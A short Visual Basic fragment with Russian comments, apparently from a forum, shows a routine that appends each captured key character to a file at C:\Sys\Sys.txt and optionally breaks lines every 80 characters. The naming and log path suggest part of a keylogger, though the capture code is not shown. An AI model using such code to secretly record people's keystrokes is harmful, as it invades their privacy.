Dim b As Byte, iLen&

' если захочется поделить файл на строки фиксированной длины
Const LL% =  80      ' длина строки, включая CrLf
Const NL% = &HA0D  ' CrLf

'....

KeyFound:

If AddKey <> "" Then 'addkey - 1 буковка == 1 байт
  F = FreeFile
  Open "C:\Sys\Sys.txt" For Binary Access Write As #F
  b = Asc(AddKey): iLen = LOF(F) +  1 
' новая строка ( опционально )
  if iLen Mod LL = LL -  1  then Put #F, iLen, NL: iLen = iLen +  2 
  Put #F, iLen, b
  Close #F
End If
End Sub

if (iLen +  1  ) Mod LL =  0  then ...